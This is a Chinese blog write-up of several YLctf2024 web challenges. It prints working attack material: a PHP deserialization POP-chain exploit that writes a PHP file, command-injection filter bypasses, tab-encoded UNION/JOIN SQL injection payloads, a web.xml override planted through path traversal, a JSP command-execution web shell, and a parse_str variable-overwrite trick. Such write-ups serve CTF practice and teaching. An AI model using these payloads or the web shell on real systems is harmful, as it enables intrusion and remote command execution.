title: YLctf2024
date: 2024-10-28 19:23:59
tags: [sql 的 join, php 反序列化,xml 文件上传]
categories: [比赛复现]

# 简单 :pExpl

源码:

<?php
error_reporting(0);
class FileHandler {
    private $fileHandle;
    private $fileName;
    public function __construct($fileName, $mode = 'r') {
        $this->fileName = $fileName;
        $this->fileHandle = fopen($fileName, $mode);
        if (!$this->fileHandle) {
            throw new Exception("Unable to open file: $fileName");
        }
        echo "File opened: $fileName\n";
    }
    public function readLine() {
        return fgets($this->fileHandle);
    }
    public function writeLine($data) {
        fwrite($this->fileHandle, $data . PHP_EOL);
    }
    public function __destruct() {
        if (file_exists($this->fileName) &&!empty($this->fileHandle)) {
            fclose($this->fileHandle);
            echo "File closed: {$this->fileName}\n";
        }
    }
}
class User {
    private $userData = [];
    public function __set($name, $value) {
        if ($name == 'password') {
            $value = password_hash($value, PASSWORD_DEFAULT);
        }
        $this->userData[$name] = $value;
    }
    public function __get($name) {
        return $this->userData[$name] ?? null;
    }
    public function __toString() {
        if(is_string($this->params) && is_array($this->data) && count($this->data) > 1){
            call_user_func($this->data,$this->params);
        }
        return "Hello";
    }
    public function __isset($name) {
        return isset($this->userData[$name]);
    }
}
class Logger {
    private $logFile;
    private $lastEntry;
    public function __construct($logFile = 'application.log') {
        $this->logFile = $logFile;
    }
    private function log($level, $message) {
        $this->lastEntry = "[" . date("Y-m-d H:i:s") . "] [$level] $message" . PHP_EOL;
        file_put_contents($this->logFile, $this->lastEntry, FILE_APPEND);
    }
    public function setLogFile($logFile) {
        $this->logFile = $logFile;
    }
    public function clearOldLogs($daysToKeep = 30) {
        $files = glob("*.log");
        $now = time();
        foreach ($files as $file) {
            if (is_file($file)) {
                if ($now - filemtime($file) >= 60 * 60 * 24 * $daysToKeep) {
                    unlink($file);
                }
            }
        }
    }
    public function __call($name, $arguments) {
        $validLevels = ['info', 'warning', 'error', 'debug'];
        if (in_array($name, $validLevels)) {
            $this->log(strtoupper($name), $arguments[0]);
        } else {
            throw new Exception("Invalid log level: $name");
        }
    }
    public function __invoke($message, $level = 'INFO') {
        $this->log($level, $message);
    }
}
if(isset($_GET['exp'])) {
    if(preg_match('/<\?php/i',$_GET['exp'])){
        exit;
    }
    $exp = unserialize($_GET['exp']);
    throw new Exception("Test!");
} else {
    highlight_file(__FILE__);
}

访问题⽬⾸⻚发现直接提供 php 源码,简单分析代码,实现了⼀个反序列化功能,提供了⼏个类。存在 throw

new Exception ("Test!"); 和检测 <?php ,可以通过绕过 gc 和 短标签的形式去绕过该限制。

构造⼀下 POP 链,根据分析利⽤点在以下代码:

private function log($level, $message) {
        $this->lastEntry = "[" . date("Y-m-d H:i:s") . "] [$level] $message" . PHP_EOL;
        file_put_contents($this->logFile, $this->lastEntry, FILE_APPEND);
    }

触发点通常就是常⻅的 __destruct () , 也就是如下:

public function __destruct() {
        if (file_exists($this->fileName) &&!empty($this->fileHandle)) {
            fclose($this->fileHandle);
            echo "File closed: {$this->fileName}\n";
        }
    }
}

通过它调⽤到 User#__toString , 该⽅法中存在 call_user_func 函数,思考能不能直接触发命令执⾏,由于存

在参数的限制,显然不能直接调⽤,所以考虑调⽤类中不存在的函数,触发 __call ⽅法。

public function __call($name, $arguments) {
        $validLevels = ['info', 'warning', 'error', 'debug'];
        if (in_array($name, $validLevels)) {
            $this->log(strtoupper($name), $arguments[0]);
        } else {
            throw new Exception("Invalid log level: $name");
        }
    }

由于上述代码中,存在 in_array 的判断,所以需要调⽤到 array 中的⼀个,然后在触发⽂件写⼊,构造 exp 如下:

<?php
class FileHandler {
private $fileHandle;
private $fileName;
public function __construct($fileName){
$this->fileName = $fileName;
 }
}
class User {
private $userData = [];
}
class Logger {
private $logFile;
private $lastEntry;
public function __construct($logFile)
 {
$this->logFile = $logFile;
 }
}
$c = new Logger("/var/www/html/1.php");
$b = new User();
$b->data = [$c,"info"];
$b->params = "<?=phpinfo()?>";
$a = new FileHandler($b);
$a1 = array($a,null);
$s = serialize($a1);
$s = str_replace('1;N', '0;N', $s);
echo urlencode($s);

# 简单:shxpl

image-20241028193528278

域名查看器:

# 过滤:空格可以用 %09 代替

baidu.com,过滤了;,|| ------- 但是没有过滤 &&

过滤了 cat,tac,less, 可以用 more,nl 代替

flag 被过滤就用通配符 [a-z],? 也行

# image-20241028194336828

# [Round 1] sInXx

image-20241028200447933

可以进行查询,但是发现怎么也不能注入,这里的空格变成了 %09 才能注入

一个:juan79%27%09and%09%281%3D1%29%23

image-20241028200625738

image-20241028200641664

一个:juan79%27%09and%09%281%3D2%29%23

用 union select 联合注入,但是不能用,就只能用 join

数据表:

1%27%09UNION%09SELECT%09*%09FROM%09%28%28SELECT%091%29A%09join%09%28SELECT%091%29B%09join%09%28SELECT%091%29C%09join%09%09%28SELECT%091%29D%09join%09%28SELECT%091%29E%29%23

数据列:

1'%09UNION%09SELECT%09*%09FROM%09((SELECT%09GROUP_CONCAT(TABLE_NAME)%09FROM%09 sys.schema_table_statistics_with_buffer%09WHERE%09TABLE_SCHEMA=DATABASE())A%09join%09(SELECT%091)B%09join%09(SELECT%091)C%09join%09(SELECT%091)D%09join%09(SELECT%091)E)#

数据:

1%27%09UNION%09SELECT%09*%09FROM%09%28%28SELECT%09%602%60%09FROM%09%28SELECT%09*%09FROM%09%28%28SELECT%091%29a%09JOIN%09%09%28SELECT%092%29b%29%09UNION%09SELECT%09*%09FROM%09DataSyncFLAG%29p%09limit%092%09offset%091%29A%09join%09%28SELECT%091%29B%09join%09%28SELECT%091%29C%09join%09%28SELECT%091%29D%09join%09%28SELECT%091%29E%29%23

image-20241028201648786

中等 **-TOXEC**

题⽬提供了⼀个简单的⽹盘存储功能,如下图:

经过测试可以上传除含有 jsp、class 的⽂件,同时经过测试,在重命名处,可以利⽤ ../ 穿越⼀层⽬录,所以我们

考虑利⽤替换 web.xml 来实现 RCE,上传内容如下:

<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd"
version="3.1">
<welcome-file-list>
<welcome-file>index.html</welcome-file>
</welcome-file-list>
<!-- 配置默认 servlet 来处理静态资源 -->
<servlet-mapping>
<servlet-name>default</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>jsp</servlet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
</servlet>
<!-- JSP Servlet 映射 -->
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
<url-pattern>*.jspx</url-pattern>
通过重命名进⾏替换:
以上增加对于 .xml 以 jsp 脚本语⾔进⾏解析,然后在上传后缀名为 .xml 的⼀句话⽊⻢,如下:
上传后访问并执⾏命令,如下图:
中等-Injct
访问⾸⻚发现如下界⾯:
<url-pattern>*.xml</url-pattern>
</servlet-mapping>
</web-app>

通过重命名进⾏替换:

image-20241028204156548

以上增加对于 .xml 以 jsp 脚本语⾔进⾏解析,然后在上传后缀名为 .xml 的⼀句话⽊⻢,如下:

<%
 if("023".equals(request.getParameter("pwd"))){
 java.io.InputStream in =
Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
 int a = -1;
 byte[] b = new byte[2048];
 out.print("<pre>");
 while((a=in.read(b))!=-1){
 out.println(new String(b));
 }
 out.print("</pre>");
 }
%>

上传后访问并执⾏命令,如下图

image-20241028205041434

重命名大多是可以目录穿越的

# [Round 2] Cmnts

image-20241030201316129

image-20241030201326560

get_th1s_f1ag.php
<?php
include 'flag.php';
parse_str($_SERVER['QUERY_STRING']);
if (isset($pass)) {
  $key = md5($pass);
}
if (isset($key) && $key === 'a7a795a8efb7c30151031c2cb700ddd9') {
  echo $flag;
}
else {
  highlight_file(__FILE__);
}

根据分析,只要满⾜ $key == 'a7a795a8efb7c30151031c2cb700ddd9' 即可以提供 flag ,该代码还提供了

parse_str 函数,该函数的功能如下图:

image-20241030201759145

所以,构造如下 payload :

?key=a7a795a8efb7c30151031c2cb700ddd9

image-20241030201830643

Edited on Views times

Give me a cup of [coffee]~( ̄▽ ̄)~*

ztyzty WeChat Pay

WeChat Pay

ztyzty Alipay

Alipay

ztyzty PayPal

PayPal